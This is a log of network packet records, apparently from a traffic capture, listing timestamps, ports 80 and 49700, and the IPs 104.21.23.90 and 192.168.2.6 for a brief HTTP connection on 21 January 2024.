Jan 21, 2024 17:12:01.280069113 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.280081034 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.280095100 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.280096054 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.280116081 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.280142069 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.280868053 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.280883074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.280895948 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.280910015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.280922890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.280926943 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.280970097 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.281651020 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.281668901 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.281712055 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.281716108 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.281724930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.281738043 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.281755924 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.281790972 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.282504082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.282519102 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.282531023 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.282543898 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.282556057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.282558918 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.282573938 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.283428907 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.283442974 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.283453941 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.283468962 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.283482075 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.283483982 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.283509016 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.283524036 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.284162998 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.284177065 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.284189939 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.284202099 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.284212112 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.284215927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.284239054 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.284944057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.284996986 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.285022974 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.285036087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.285047054 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.285058975 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.285074949 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.285101891 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.285795927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.285873890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.285892963 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.285904884 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.285917044 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.285917044 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.285944939 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.286644936 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.286694050 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.286712885 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.286725998 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.286739111 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.286751032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.286757946 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.286792040 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.287518024 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.287530899 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.287542105 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.287554979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.287568092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.287570000 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.287607908 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.288284063 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.288296938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.288333893 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.288360119 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.288372993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.288384914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.288404942 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.288420916 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.289114952 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.289171934 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.289185047 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.289203882 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.289216995 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.289217949 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.289239883 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.289952993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.289966106 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.289978981 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.290005922 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.290019035 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.290024996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.290039062 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.290091991 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.290771961 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.290851116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.290863991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.290874958 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.290887117 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.290895939 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.290911913 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.291619062 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.291659117 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.291663885 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.291672945 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.291686058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.291697979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.291713953 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.291738987 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.292514086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.292526960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.292538881 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.292551994 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.292562962 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.292565107 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.292598963 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.293350935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.293364048 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.293381929 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.293395042 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.293411016 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.293415070 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.293442965 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.293463945 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.294110060 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.294239044 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.294286013 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.294369936 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.294383049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.294394970 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.294414043 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.295018911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.295032978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.295044899 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.295058012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.295064926 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.295072079 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.295090914 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.295120001 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.295768976 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.295780897 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.295816898 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.295820951 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.295835018 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.295851946 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.295880079 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.296622038 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.296634912 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.296646118 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.296663046 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.296674967 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.296679974 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.296694040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.296740055 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.298326015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.298338890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.298351049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.298362970 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.298376083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.298391104 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.298427105 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.298717022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.298731089 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.298743010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.298755884 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.298763990 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.298768997 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.298774004 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.298813105 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.299529076 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.299603939 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.299617052 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.299628973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.299640894 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.299644947 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.299670935 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.300319910 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.300333023 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.300344944 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.300358057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.300369024 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.300370932 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.300400019 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.300415993 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.301142931 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.301211119 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.301227093 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.301239967 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.301253080 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.301253080 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.301278114 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.301976919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.301995993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.302021980 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.302047968 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.302062035 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.302073956 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.302090883 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.302118063 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.302797079 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.302880049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.302892923 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.302905083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.302917957 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.302922964 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.302947998 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.303702116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.303715944 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.303726912 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.303740025 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.303747892 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.303754091 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.303771973 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.303797960 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.304538012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.304550886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.304562092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.304574966 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.304585934 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.304589033 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.304616928 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.305342913 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.305356026 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.305366993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.305378914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.305387020 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.305392027 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.305408955 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.305433989 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.306158066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.306171894 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.306184053 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.306199074 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.306236029 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.306250095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.306278944 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.307049990 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.307064056 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.307075024 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.307087898 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.307096004 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.307101965 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.307117939 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.307143927 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.307928085 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.307940960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.307951927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.307964087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.307976961 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.307992935 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.308015108 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.308671951 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.308686018 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.308696985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.308712959 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.308712959 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.308727026 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.308738947 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.308768034 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.309473991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.309492111 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.309504032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.309515953 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.309529066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.309535980 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.309557915 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.310345888 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.310359001 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.310369968 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.310381889 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.310391903 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.310395956 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.310415983 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.310431957 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.311098099 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.311193943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.311208010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.311219931 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.311233044 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.311239958 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.311258078 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.312022924 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.312036037 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.312047958 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.312061071 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.312068939 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.312073946 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.312077999 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.312122107 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.312834978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.312848091 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.312860012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.312872887 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.312884092 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.312885046 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.312910080 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.313596010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.313608885 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.313640118 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.313729048 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.313741922 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.313754082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.313765049 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.313792944 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.314495087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.314508915 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.314519882 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.314532995 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.314543962 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.314546108 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.314568996 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.315256119 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.315285921 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.315294981 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.315331936 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.315346003 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.315357924 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.315376997 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.315392971 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.316107988 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.316121101 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.316132069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.316144943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.316158056 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.316180944 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.316185951 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.316986084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.317004919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.317018032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.317030907 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.317030907 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.317045927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.317054987 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.317092896 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.317779064 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.317791939 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.317802906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.317816019 CET	80	49700	104.21.23.90	192.168.2.6
